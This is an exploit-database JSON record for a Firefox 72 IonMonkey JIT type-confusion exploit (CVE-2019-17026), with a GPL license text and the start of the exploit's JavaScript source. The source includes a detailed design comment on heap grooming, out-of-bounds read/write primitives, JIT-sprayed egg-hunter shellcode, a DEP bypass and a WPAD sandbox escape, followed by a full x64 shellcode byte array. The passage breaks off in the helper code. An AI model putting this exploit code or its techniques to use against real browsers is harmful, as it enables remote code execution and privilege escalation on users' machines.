{"exploit":{"id":"EDB-49864","name":"Mozilla Firefox 72 IonMonkey - JIT Type Confusion","description":"Mozilla Firefox 72 IonMonkey - JIT Type Confusion","cves":["CVE-2019-17026"],"author":"Forrest Orr","published":"2021-05-13","platform":"windows_x86-64","type":"local","language":"JavaScript","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/49864","path":"exploits/windows_x86-64/local/49864.js","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-49864.js","vulnerabilities":[{"id":"CVE-2019-17026","state":"PUBLISHED","title":null,"titleSource":null,"description":"Incorrect alias information in IonMonkey JIT compiler for setting array elements could lead to a type confusion. We are aware of targeted attacks in the wild abusing this flaw. This vulnerability affects Firefox ESR < 68.4.1, Thunderbird < 68.4.1, and Firefox < 72.0.1.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2019-17026","cvss":{"version":"3.1","baseScore":8.8,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2019-17026"},"updatedAt":"2025-10-21T23:35:50.362Z","retrievedAt":"2026-11-27T01:11:16.013Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-49864.png?v=2","url":"https://exploitbin.com/exploits/EDB-49864","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-49864/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-49864/code","licenseUrl":"https://exploitbin.com/sources#exploit-db","upstreamLicenseUrl":"https://exploitbin.com/licenses/exploit-db.txt","unofficial":false,"warning":null,"license":{"name":"Exploit-DB license","text":"                    GNU GENERAL PUBLIC LICENSE\n                       Version 2, June 1991\n\n Copyright (C) 1989, 1991 Free Software Foundation, Inc.,\n 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The licenses for most software are designed to take away your\nfreedom to share and change it.  By contrast, the GNU General Public\nLicense is intended to guarantee your freedom to share and change free\nsoftware--to make sure the software is free for all its users.  This\nGeneral Public License applies to most of the Free Software\nFoundation's software and to any other program whose authors commit to\nusing it.  (Some other Free Software Foundation software is covered by\nthe GNU Lesser General Public License instead.)  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthis service if you wish), that you receive source code or can get it\nif you want it, that you can change the software or use pieces of it\nin new free programs; and that you know you can do these things.\n\n  To protect your rights, we need to make restrictions that forbid\nanyone to deny you these rights or to ask you to surrender the rights.\nThese restrictions translate to certain responsibilities for you if you\ndistribute copies of the software, or if you modify it.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must give the recipients all the rights that\nyou have.  You must make sure that they, too, receive or can get the\nsource code.  And you must show them these terms so they know their\nrights.\n\n  We protect your rights with two steps: (1) copyright the software, and\n(2) offer you this license which gives you legal permission to copy,\ndistribute and/or modify the software.\n\n  Also, for each author's protection and ours, we want to make certain\nthat everyone understands that there is no warranty for this free\nsoftware.  If the software is modified by someone else and passed on, we\nwant its recipients to know that what they have is not the original, so\nthat any problems introduced by others will not reflect on the original\nauthors' reputations.\n\n  Finally, any free program is threatened constantly by software\npatents.  We wish to avoid the danger that redistributors of a free\nprogram will individually obtain patent licenses, in effect making the\nprogram proprietary.  To prevent this, we have made it clear that any\npatent must be licensed for everyone's free use or not licensed at all.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                    GNU GENERAL PUBLIC LICENSE\n   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION\n\n  0. This License applies to any program or other work which contains\na notice placed by the copyright holder saying it may be distributed\nunder the terms of this General Public License.  The \"Program\", below,\nrefers to any such program or work, and a \"work based on the Program\"\nmeans either the Program or any derivative work under copyright law:\nthat is to say, a work containing the Program or a portion of it,\neither verbatim or with modifications and/or translated into another\nlanguage.  (Hereinafter, translation is included without limitation in\nthe term \"modification\".)  Each licensee is addressed as \"you\".\n\nActivities other than copying, distribution and modification are not\ncovered by this License; they are outside its scope.  The act of\nrunning the Program is not restricted, and the output from the Program\nis covered only if its contents constitute a work based on the\nProgram (independent of having been made by running the Program).\nWhether that is true depends on what the Program does.\n\n  1. You may copy and distribute verbatim copies of the Program's\nsource code as you receive it, in any medium, provided that you\nconspicuously and appropriately publish on each copy an appropriate\ncopyright notice and disclaimer of warranty; keep intact all the\nnotices that refer to this License and to the absence of any warranty;\nand give any other recipients of the Program a copy of this License\nalong with the Program.\n\nYou may charge a fee for the physical act of transferring a copy, and\nyou may at your option offer warranty protection in exchange for a fee.\n\n  2. You may modify your copy or copies of the Program or any portion\nof it, thus forming a work based on the Program, and copy and\ndistribute such modifications or work under the terms of Section 1\nabove, provided that you also meet all of these conditions:\n\n    a) You must cause the modified files to carry prominent notices\n    stating that you changed the files and the date of any change.\n\n    b) You must cause any work that you distribute or publish, that in\n    whole or in part contains or is derived from the Program or any\n    part thereof, to be licensed as a whole at no charge to all third\n    parties under the terms of this License.\n\n    c) If the modified program normally reads commands interactively\n    when run, you must cause it, when started running for such\n    interactive use in the most ordinary way, to print or display an\n    announcement including an appropriate copyright notice and a\n    notice that there is no warranty (or else, saying that you provide\n    a warranty) and that users may redistribute the program under\n    these conditions, and telling the user how to view a copy of this\n    License.  (Exception: if the Program itself is interactive but\n    does not normally print such an announcement, your work based on\n    the Program is not required to print an announcement.)\n\nThese requirements apply to the modified work as a whole.  If\nidentifiable sections of that work are not derived from the Program,\nand can be reasonably considered independent and separate works in\nthemselves, then this License, and its terms, do not apply to those\nsections when you distribute them as separate works.  But when you\ndistribute the same sections as part of a whole which is a work based\non the Program, the distribution of the whole must be on the terms of\nthis License, whose permissions for other licensees extend to the\nentire whole, and thus to each and every part regardless of who wrote it.\n\nThus, it is not the intent of this section to claim rights or contest\nyour rights to work written entirely by you; rather, the intent is to\nexercise the right to control the distribution of derivative or\ncollective works based on the Program.\n\nIn addition, mere aggregation of another work not based on the Program\nwith the Program (or with a work based on the Program) on a volume of\na storage or distribution medium does not bring the other work under\nthe scope of this License.\n\n  3. You may copy and distribute the Program (or a work based on it,\nunder Section 2) in object code or executable form under the terms of\nSections 1 and 2 above provided that you also do one of the following:\n\n    a) Accompany it with the complete corresponding machine-readable\n    source code, which must be distributed under the terms of Sections\n    1 and 2 above on a medium customarily used for software interchange; or,\n\n    b) Accompany it with a written offer, valid for at least three\n    years, to give any third party, for a charge no more than your\n    cost of physically performing source distribution, a complete\n    machine-readable copy of the corresponding source code, to be\n    distributed under the terms of Sections 1 and 2 above on a medium\n    customarily used for software interchange; or,\n\n    c) Accompany it with the information you received as to the offer\n    to distribute corresponding source code.  (This alternative is\n    allowed only for noncommercial distribution and only if you\n    received the program in object code or executable form with such\n    an offer, in accord with Subsection b above.)\n\nThe source code for a work means the preferred form of the work for\nmaking modifications to it.  For an executable work, complete source\ncode means all the source code for all modules it contains, plus any\nassociated interface definition files, plus the scripts used to\ncontrol compilation and installation of the executable.  However, as a\nspecial exception, the source code distributed need not include\nanything that is normally distributed (in either source or binary\nform) with the major components (compiler, kernel, and so on) of the\noperating system on which the executable runs, unless that component\nitself accompanies the executable.\n\nIf distribution of executable or object code is made by offering\naccess to copy from a designated place, then offering equivalent\naccess to copy the source code from the same place counts as\ndistribution of the source code, even though third parties are not\ncompelled to copy the source along with the object code.\n\n  4. You may not copy, modify, sublicense, or distribute the Program\nexcept as expressly provided under this License.  Any attempt\notherwise to copy, modify, sublicense or distribute the Program is\nvoid, and will automatically terminate your rights under this License.\nHowever, parties who have received copies, or rights, from you under\nthis License will not have their licenses terminated so long as such\nparties remain in full compliance.\n\n  5. You are not required to accept this License, since you have not\nsigned it.  However, nothing else grants you permission to modify or\ndistribute the Program or its derivative works.  These actions are\nprohibited by law if you do not accept this License.  Therefore, by\nmodifying or distributing the Program (or any work based on the\nProgram), you indicate your acceptance of this License to do so, and\nall its terms and conditions for copying, distributing or modifying\nthe Program or works based on it.\n\n  6. Each time you redistribute the Program (or any work based on the\nProgram), the recipient automatically receives a license from the\noriginal licensor to copy, distribute or modify the Program subject to\nthese terms and conditions.  You may not impose any further\nrestrictions on the recipients' exercise of the rights granted herein.\nYou are not responsible for enforcing compliance by third parties to\nthis License.\n\n  7. If, as a consequence of a court judgment or allegation of patent\ninfringement or for any other reason (not limited to patent issues),\nconditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot\ndistribute so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you\nmay not distribute the Program at all.  For example, if a patent\nlicense would not permit royalty-free redistribution of the Program by\nall those who receive copies directly or indirectly through you, then\nthe only way you could satisfy both it and this License would be to\nrefrain entirely from distribution of the Program.\n\nIf any portion of this section is held invalid or unenforceable under\nany particular circumstance, the balance of the section is intended to\napply and the section as a whole is intended to apply in other\ncircumstances.\n\nIt is not the purpose of this section to induce you to infringe any\npatents or other property right claims or to contest validity of any\nsuch claims; this section has the sole purpose of protecting the\nintegrity of the free software distribution system, which is\nimplemented by public license practices.  Many people have made\ngenerous contributions to the wide range of software distributed\nthrough that system in reliance on consistent application of that\nsystem; it is up to the author/donor to decide if he or she is willing\nto distribute software through any other system and a licensee cannot\nimpose that choice.\n\nThis section is intended to make thoroughly clear what is believed to\nbe a consequence of the rest of this License.\n\n  8. If the distribution and/or use of the Program is restricted in\ncertain countries either by patents or by copyrighted interfaces, the\noriginal copyright holder who places the Program under this License\nmay add an explicit geographical distribution limitation excluding\nthose countries, so that distribution is permitted only in or among\ncountries not thus excluded.  In such case, this License incorporates\nthe limitation as if written in the body of this License.\n\n  9. The Free Software Foundation may publish revised and/or new versions\nof the General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\nEach version is given a distinguishing version number.  If the Program\nspecifies a version number of this License which applies to it and \"any\nlater version\", you have the option of following the terms and conditions\neither of that version or of any later version published by the Free\nSoftware Foundation.  If the Program does not specify a version number of\nthis License, you may choose any version ever published by the Free Software\nFoundation.\n\n  10. If you wish to incorporate parts of the Program into other free\nprograms whose distribution conditions are different, write to the author\nto ask for permission.  For software which is copyrighted by the Free\nSoftware Foundation, write to the Free Software Foundation; we sometimes\nmake exceptions for this.  Our decision will be guided by the two goals\nof preserving the free status of all derivatives of our free software and\nof promoting the sharing and reuse of software generally.\n\n                            NO WARRANTY\n\n  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY\nFOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN\nOTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES\nPROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED\nOR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\nMERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS\nTO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE\nPROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,\nREPAIR OR CORRECTION.\n\n  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR\nREDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,\nINCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING\nOUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED\nTO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY\nYOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER\nPROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGES.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nconvey the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software; you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License along\n    with this program; if not, write to the Free Software Foundation, Inc.,\n    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n\nAlso add information on how to contact you by electronic and paper mail.\n\nIf the program is interactive, make it output a short notice like this\nwhen it starts in an interactive mode:\n\n    Gnomovision version 69, Copyright (C) year name of author\n    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, the commands you use may\nbe called something other than `show w' and `show c'; they could even be\nmouse-clicks or menu items--whatever suits your program.\n\nYou should also get your employer (if you work as a programmer) or your\nschool, if any, to sign a \"copyright disclaimer\" for the program, if\nnecessary.  Here is a sample; alter the names:\n\n  Yoyodyne, Inc., hereby disclaims all copyright interest in the program\n  `Gnomovision' (which makes passes at compilers) written by James Hacker.\n\n  <signature of Ty Coon>, 1 April 1989\n  Ty Coon, President of Vice\n\nThis General Public License does not permit incorporating your program into\nproprietary programs.  If your program is a subroutine library, you may\nconsider it more useful to permit linking proprietary applications with the\nlibrary.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.\n","bytes":18092,"sha256":"8177f97513213526df2cf6184d8ff986c675afb514d4e68a404010521b880643","sourceUrl":"https://exploitbin.com/licenses/exploit-db.txt","revision":null,"error":null},"repositoryFilesUrl":null,"alternatives":[{"cve":"CVE-2019-17026","preferredId":"EDB-49864","data":[{"id":"EDB-49864","name":"Mozilla Firefox 72 IonMonkey - JIT Type Confusion","source":"exploit-db","filename":"EDB-49864.js","repository":null,"stars":null,"unofficial":false,"warning":null,"url":"https://exploitbin.com/exploits/EDB-49864?cve=CVE-2019-17026"}]}]},"code":"# Exploit Title: Firefox 72 IonMonkey - JIT Type Confusion\n# Date: 2021-05-10\n# Exploit Author: deadlock (Forrest Orr)\n# Vendor Homepage: https://www.mozilla.org/en-US/\n# Software Link: https://www.mozilla.org/en-US/firefox/new/\n# Versions: Firefox < 72 64-bit\n# Tested on: Windows 7 x64, Windows 8.1 x64, Windows 10 x64\n# CVE: CVE-2019-17026\n# Bypasses: DEP, ASLR, CFG, sandboxing\n# Credits: maxpl0it, 0vercl0k\n# Full explain chain writeup: https://github.com/forrest-orr/DoubleStar\n\n/*\n________                 ___.    .__                 _________  __\n\\______ \\    ____   __ __\\_ |__  |  |    ____       /   _____/_/  |_ _____  _______\n |    |  \\  /  _ \\ |  |  \\| __ \\ |  |  _/ __ \\      \\_____  \\ \\   __\\\\__  \\ \\_  __ \\\n |    `   \\(  <_> )|  |  /| \\_\\ \\|  |__\\  ___/      /        \\ |  |   / __ \\_|  | \\/\n/_______  / \\____/ |____/ |___  /|____/ \\___  >    /_______  / |__|  (____  /|__|\n        \\/                    \\/            \\/             \\/             \\/\nWindows 8.1 IE/Firefox RCE -> Sandbox Escape -> SYSTEM EoP Exploit Chain\n\n                            ______________\n                            | Remote PAC |\n                            |____________|\n                                   ^\n                                   | HTTPS\n_______________  RPC/ALPC   _______________   RPC/ALPC   _______________\n| firefox.exe | ----------> | svchost.exe | -----------> | spoolsv.exe |\n|_____________|             |_____________| <----------- |_____________|\n                                   |          RPC/Pipe\n                                   |\n               _______________     |\n               | malware.exe | <---| Execute impersonating NT AUTHORY\\SYSTEM\n               |_____________|\n\n~\n\nComponent\n\nFirefox 64-bit IonMonkey JIT/Type Confusion RCE. Represents the initial attack\nvector when a user visits an infected web page with a vulnerable version of\nFirefox. This component contains a stage one (egg hunter) and stage two (WPAD\nsandbox escape) shellcode, the latter of which is only effective on Windows 8.1\ndue to hardcoded RPC IDL interface details for WPAD.\n\n\n_______________  JIT spray   ______________  DEP bypass   _______________________\n| firefox.exe | -----------> | Egg hunter | ------------> | WPAD sandbox escape |\n|_____________|              | shellcode  |               | shellcode (heap)    |\n                             |____________|               |_____________________|\n\n~\n\nOverview\n\nThis is a Windows variation of CVE-2019-17026, an exploit targetting a type\nconfusion bug in the IonMonkey engine of Firefox up to FF 72. Due to specific\nissues with heap grooming, this particular variant of CVE-2019-17026 only works\non versions of Firefox up to FF 69 even though the bug was not fixed until FF\n72 and is still technically exploitable on FF 70 and 71.\n\nCVE-2019-17026 represents the initial RCE vector in the Double Star exploit\nchain. Unlike my re-creation of CVE-2020-0674, which is limited to efficacy\nin IE/WPAD instances running within Windows 7 and 8.1 (with Windows 10 CFG and\nWPAD sandboxing being beyond the scope of this project in complexity to bypass)\nthis particular exploit is effective on any version of Windows, including 10\nprovided that a vulnerable version of Firefox is installed. The reason for this\nis that presence of (and exploit usage of) a JIT engine in this exploit makes\ndealing with both DEP and CFG substantially easier.\n\n~\n\nDesign\n\nThis exploit contains two shellcodes: an egg hunter/DEP bypass shellcode (which\nis JIT sprayed) and a primary (stage two) shellcode stored as a static Uint8Array.\nThe stage one (egg hunter) shellcode is responsible for scanning the entire\nmemory space of the current firefox.exe process and finding the stage two\nshellcode on the heap. This is achieved by prefixing the stage two shellcode\nwith a special 64-bit egg value which this egg hunter shellcode scans for. Once\nit has found the stage two shellcode, it uses KERNEL32.DLL!VirtualProtect to\nchange its permissions to +RWX, and then directly executes it via a CALL\ninstruction.\n\nThe type confusion bug allows for an array boundscheck to be eliminated, thus\nallowing for an OOB R/W via a glitched array. The nursery heap (where the array\nis stored) is groomed so that 3 arrays are lined up in memory:\n\n[Array 1][Array 2][Array 3]\n\nThe first array is used with the JIT bug to make an OOB write and corrupt the\nmetadata of the second array. Specifically, it corrupts its length to allow for\nOOB R/W at will (without the JIT bug) which is subsequently used throughout\nthe remainer of the exploit to corrupt the Native Object structure of the third\narray to build arbitrary R/W and AddressOf primitives.\n\nA JIT spray is then used to spray an egg hunter shellcode (encoded as double\nfloats) into +RX memory, encapsulated in a do-nothing function. The JIT code\npointer of this function is leaked and subsequently used with an egg hunter\nin the JS itself (using arbitrary read) to find the egg which marks the\nstart of the egg hunter shellcode in +RX memory. In this sense, the exploit\ncontains 2 egg hunters: a JS egg hunter which searches for a JIT sprayed egg\nhunter which in turn hunts for the full (stage two) WPAD sandbox escape\nshellcode. Once the JIT sprayed (stage one) egg hunter shellcode finds the stage\ntwo shellcode, it sets its memory region to +RWX and directly executes it.\n\n~\n\nSandboxing\n\nThe Firefox sandbox prevents access to the filesystem (besides a special sandbox\ntemp directory) and registry but additionally (unlike IE11 on Windows 8.1) locks\ndown access to the desktop window session (which prevents even a MessageBoxA\nfrom popping) and sets a child process creation quota of zero (preventing the\ncreation of child processes). By adjusting the sandbox content level in the FF\n\"about:config\" settings some of these features can be disabled for testing\npurposes. For example, setting the content level down from \"5\" (the default) to\n\"2\" will allow MessageBoxA to pop as well as child process creation, however even\nwhen the content level is set down to \"0\" there are certain protections which will\npersist (such as inability to access the file system).\n\nOne vector however which is not guarded by the sandbox is access to ALPC port\nobjects, which can be used to initiate connections to LocalServer32 COM servers\nrunning in external (and potentially non-sandboxed or elevated) processes. This\ndetail is exploited by this chain by utilizing a stage two shellcode which\ninitiates an RPC (ALPC) connection to the WPAD service and triggers it to\ndownload and execute a PAC file from a remote URL containing CVE-2020-0674 into\nits own process (svchost.exe running as LOCAL SERVICE). In this way, the sandbox\ncan be escaped via RPC/ALPC and simultaneously elevated from the current user\nsession (which may have limited/non-administrator privileges) into a sensitive\nservice process.\n\n~\n\nCredits\n\nmaxpl0it  - for writing the initial analysis and PoC for CVE-2019-17026 with a\n            focus on the Linux OS.\n\n0vercl0k  - for documenting IonMonkey internals in relation to aliasing and\n            the GVN.\n\n*/\n\n////////\n////////\n// Global helpers/settings\n////////\n\n// Carefully read the overview comments of this exploit source. This is a simple MessageBoxA shellcode but due to sandboxing will not appear without the steps I outlined. To see the full Double Star exploit chain which can bypass the sandbox in full, read my research on it at: https://github.com/forrest-orr/DoubleStar\nconst Shellcode = new Uint8Array([ 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x48, 0x83, 0xec, 0x08, 0x40, 0x80, 0xe4, 0xf7, 0x48, 0xc7, 0xc1, 0x88, 0x4e, 0x0d, 0x00, 0xe8, 0x91, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc7, 0x48, 0xc7, 0xc2, 0x86, 0x57, 0x0d, 0x00, 0x48, 0x89, 0xf9, 0xe8, 0xde, 0x00, 0x00, 0x00, 0x48, 0xb9, 0x75, 0x73, 0x65, 0x72, 0x33, 0x32, 0x00, 0x00, 0x51, 0x48, 0x89, 0xe1, 0x55, 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, 0x20, 0x48, 0x83, 0xec, 0x08, 0x40, 0x80, 0xe4, 0xf7, 0xff, 0xd0, 0x48, 0x89, 0xec, 0x5d, 0x48, 0xc7, 0xc2, 0x1a, 0xb8, 0x06, 0x00, 0x48, 0x89, 0xc1, 0xe8, 0xab, 0x00, 0x00, 0x00, 0x4d, 0x31, 0xc9, 0x48, 0xb9, 0x70, 0x77, 0x6e, 0x65, 0x64, 0x00, 0x00, 0x00, 0x51, 0x49, 0x89, 0xe0, 0x48, 0xc7, 0xc1, 0x6e, 0x65, 0x74, 0x00, 0x51, 0x48, 0xb9, 0x65, 0x73, 0x74, 0x2d, 0x6f, 0x72, 0x72, 0x2e, 0x51, 0x48, 0xb9, 0x77, 0x77, 0x77, 0x2e, 0x66, 0x6f, 0x72, 0x72, 0x51, 0x48, 0x89, 0xe2, 0x48, 0x31, 0xc9, 0x55, 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, 0x20, 0x48, 0x83, 0xec, 0x08, 0x40, 0x80, 0xe4, 0xf7, 0xff, 0xd0, 0x48, 0x89, 0xec, 0x5d, 0xc3, 0x41, 0x50, 0x57, 0x56, 0x49, 0x89, 0xc8, 0x48, 0xc7, 0xc6, 0x60, 0x00, 0x00, 0x00, 0x65, 0x48, 0xad, 0x48, 0x8b, 0x40, 0x18, 0x48, 0x8b, 0x78, 0x30, 0x48, 0x89, 0xfe, 0x48, 0x31, 0xc0, 0xeb, 0x05, 0x48, 0x39, 0xf7, 0x74, 0x34, 0x48, 0x85, 0xf6, 0x74, 0x2f, 0x48, 0x8d, 0x5e, 0x38, 0x48, 0x85, 0xdb, 0x74, 0x1a, 0x48, 0xc7, 0xc2, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4b, 0x08, 0x48, 0x85, 0xc9, 0x74, 0x0a, 0xe8, 0xa7, 0x01, 0x00, 0x00, 0x4c, 0x39, 0xc0, 0x74, 0x08, 0x48, 0x31, 0xc0, 0x48, 0x8b, 0x36, 0xeb, 0xcb, 0x48, 0x8b, 0x46, 0x10, 0x5e, 0x5f, 0x41, 0x58, 0xc3, 0x55, 0x48, 0x89, 0xe5, 0x48, 0x81, 0xec, 0x50, 0x02, 0x00, 0x00, 0x57, 0x56, 0x48, 0x89, 0x4d, 0xf8, 0x48, 0x89, 0x55, 0xf0, 0x48, 0x31, 0xdb, 0x8b, 0x59, 0x3c, 0x48, 0x01, 0xd9, 0x48, 0x83, 0xc1, 0x18, 0x48, 0x8b, 0x75, 0xf8, 0x48, 0x31, 0xdb, 0x8b, 0x59, 0x70, 0x48, 0x01, 0xde, 0x48, 0x89, 0x75, 0xe8, 0x8b, 0x41, 0x74, 0x89, 0x45, 0xc0, 0x48, 0x8b, 0x45, 0xf8, 0x8b, 0x5e, 0x20, 0x48, 0x01, 0xd8, 0x48, 0x89, 0x45, 0xe0, 0x48, 0x8b, 0x45, 0xf8, 0x48, 0x31, 0xdb, 0x8b, 0x5e, 0x24, 0x48, 0x01, 0xd8, 0x48, 0x89, 0x45, 0xd8, 0x48, 0x8b, 0x45, 0xf8, 0x8b, 0x5e, 0x1c, 0x48, 0x01, 0xd8, 0x48, 0x89, 0x45, 0xd0, 0x48, 0x31, 0xf6, 0x48, 0x89, 0x75, 0xc8, 0x48, 0x8b, 0x45, 0xe8, 0x8b, 0x40, 0x18, 0x48, 0x39, 0xf0, 0x0f, 0x86, 0x09, 0x01, 0x00, 0x00, 0x48, 0x89, 0xf0, 0x48, 0x8d, 0x0c, 0x85, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x55, 0xe0, 0x48, 0x8b, 0x45, 0xf8, 0x8b, 0x1c, 0x11, 0x48, 0x01, 0xd8, 0x48, 0x31, 0xd2, 0x48, 0x89, 0xc1, 0xe8, 0xf0, 0x00, 0x00, 0x00, 0x3b, 0x45, 0xf0, 0x0f, 0x85, 0xd3, 0x00, 0x00, 0x00, 0x48, 0x89, 0xf0, 0x48, 0x8d, 0x14, 0x00, 0x48, 0x8b, 0x45, 0xd8, 0x48, 0x0f, 0xb7, 0x04, 0x02, 0x48, 0x8d, 0x0c, 0x85, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x55, 0xd0, 0x48, 0x8b, 0x45, 0xf8, 0x8b, 0x1c, 0x11, 0x48, 0x01, 0xd8, 0x48, 0x89, 0x45, 0xc8, 0x48, 0x8b, 0x4d, 0xe8, 0x48, 0x89, 0xca, 0x48, 0x31, 0xdb, 0x8b, 0x5d, 0xc0, 0x48, 0x01, 0xda, 0x48, 0x39, 0xc8, 0x0f, 0x8c, 0x99, 0x00, 0x00, 0x00, 0x48, 0x39, 0xd0, 0x0f, 0x8d, 0x90, 0x00, 0x00, 0x00, 0x48, 0xc7, 0x45, 0xc8, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xc9, 0x90, 0x48, 0x8d, 0x9d, 0xb0, 0xfd, 0xff, 0xff, 0x8a, 0x14, 0x08, 0x80, 0xfa, 0x00, 0x74, 0x28, 0x80, 0xfa, 0x2e, 0x75, 0x19, 0xc7, 0x03, 0x2e, 0x64, 0x6c, 0x6c, 0x48, 0x83, 0xc3, 0x04, 0xc6, 0x03, 0x00, 0x48, 0x8d, 0x9d, 0xb0, 0xfe, 0xff, 0xff, 0x48, 0xff, 0xc1, 0xeb, 0xda, 0x88, 0x13, 0x48, 0xff, 0xc1, 0x48, 0xff, 0xc3, 0xeb, 0xd0, 0xc6, 0x03, 0x00, 0x48, 0x31, 0xd2, 0x48, 0x8d, 0x8d, 0xb0, 0xfd, 0xff, 0xff, 0xe8, 0x46, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc1, 0xe8, 0x4e, 0xfe, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x74, 0x2e, 0x48, 0x89, 0x45, 0xb8, 0x48, 0x31, 0xd2, 0x48, 0x8d, 0x8d, 0xb0, 0xfe, 0xff, 0xff, 0xe8, 0x26, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc2, 0x48, 0x8b, 0x4d, 0xb8, 0xe8, 0x89, 0xfe, 0xff, 0xff, 0x48, 0x89, 0x45, 0xc8, 0xeb, 0x09, 0x48, 0xff, 0xc6, 0x90, 0xe9, 0xe7, 0xfe, 0xff, 0xff, 0x48, 0x8b, 0x45, 0xc8, 0x5e, 0x5f, 0x48, 0x89, 0xec, 0x5d, 0xc3, 0x57, 0x48, 0x89, 0xd7, 0x48, 0x31, 0xdb, 0x80, 0x39, 0x00, 0x74, 0x1a, 0x0f, 0xb6, 0x01, 0x0c, 0x60, 0x0f, 0xb6, 0xd0, 0x01, 0xd3, 0x48, 0xd1, 0xe3, 0x48, 0xff, 0xc1, 0x48, 0x85, 0xff, 0x74, 0xe6, 0x48, 0xff, 0xc1, 0xeb, 0xe1, 0x48, 0x89, 0xd8, 0x5f, 0xc3 ]);\nvar JITIterations = 0x10000; // Number of iterations needed to trigger JIT compilation of code. The compilation count threshold varies and this is typically overkill (10+ or 1000+ is often sufficient) but is the most stable count I've tested.\nvar HelperBuf = new ArrayBuffer(8);\nvar HelperDbl = new Float64Array(HelperBuf);\nvar HelperDword = new Uint32Array(HelperBuf);\n\n////////\n////////\n// Debug/timer code\n////////\n\nvar EnableDebug = false;\nvar EnableTimers = false;\nvar AlertOutput = false;\nvar TimeStart;\nvar ReadCount;\n\nfunction StartTimer() {\n    ReadCount = 0;\n    TimeStart = new Date().getTime();\n}\n\nfunction EndTimer(Message) {\n    var TotalTime = (new Date().getTime() - TimeStart);\n\n    if(EnableTimers) {\n        if(AlertOutput) {\n            alert(\"TIME ... \" + Message + \" time elapsed: \" + TotalTime.toString(10) + \" read count: \" + ReadCount.toString(10));\n        }\n        else {\n            console.log(\"TIME ... \" + Message + \" time elapsed: \" + TotalTime.toString(10) + \" read count: \" + ReadCount.toString(10));\n        }\n    }\n}\n\nfunction DebugLog(Message) {\n    if(EnableDebug) {\n        if(AlertOutput) {\n            